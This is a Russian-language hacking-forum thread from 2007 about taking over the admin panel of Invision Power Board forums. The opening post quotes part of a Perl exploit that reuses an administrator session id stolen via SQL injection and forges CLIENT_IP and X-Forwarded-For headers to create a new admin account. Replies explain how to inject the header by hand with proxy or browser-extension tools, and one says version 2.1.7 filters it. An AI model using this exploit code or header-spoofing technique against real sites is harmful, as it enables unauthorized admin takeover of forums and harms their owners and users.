Форумы Вручную подделать Client_ip на Ipb

Discussion in 'Уязвимости CMS/форумов' started by vmn, 23 Jan 2007.

  1. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Есть возможность через sql утащить сессию и session_ip админа. Есть ли возможность вручную войти в админку, используя эту уязвимость:
    Code:
    sub create_admin()
     {
     $InfoWindow=$mw->DialogBox(-title   => 'create new admin', -buttons => ["OK"]);
     if($session_id eq '' || $session_ip_address eq '')
      {
      $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
      }
     elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
      {
      $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
      }
     else
      {
     $xpl = LWP::UserAgent->new( ) or die;
     ($url2 = $url) =~ s/index.php/admin.php/;
     $cf = '';
     %fields = (
     'code'     => 'doadd',
     'act'      => 'mem',
     'section'  => 'content',
     'name'     => $new_admin_name,
     'password' => $new_admin_password,
     'email'    => $new_admin_email,
     'mgroup'   => $group,      
               );
     if($use_custom_fields)
      {
      @cf = split(',',$custom_fields);
      foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
      }
      
     $res = $xpl->post($url2."?adsess=$session_id",
     [
     %fields,
     ],
     'USER_AGENT'=>'',
     'CLIENT_IP'=>"$session_ip_address",
     'X_FORWARDED_FOR'=>"$session_ip_address");
    }
    //Это кусок сплойта от RST
    
    Собственно в CLIENT_IP нужно как-то вставить session_ip_address. Как это сделать вручную? Вроде как этот CLIENT_IP не является одним из полей get или post.
     
  2. CtHuLhU

    CtHuLhU New Member

    Joined:
    12 Nov 2006
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    через POST вроде так:

    /index.php?CLIENT_IP[session_ip_address]=[sql]
     
    #2 CtHuLhU, 25 Jan 2007
    Last edited: 25 Jan 2007
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    отжог. 5 баллов.
     
    1 person likes this.
  4. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Знакомое до боли))
     
    _________________________
    1 person likes this.
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    +toxa+, где-то я это уже видел/слышал :))
     
  6. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Это же вроде бы GET запрос, или я чего-то не понимаю?)
     
  7. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Просто в полный запрос добавить строчку CLIENT_IP .. да хоть с помощью, как сказал ettee, проксимитрона
     
  8. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    С заголовками разобрался, спасибо :) Проще всего наверное это делать в LiveHttpHeaders.
    В 2.1.7 подмена ip в админке тоже прокатит?
     
    #8 vmn, 26 Jan 2007
    Last edited: 26 Jan 2007
  9. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    нет, в 217 фильтрация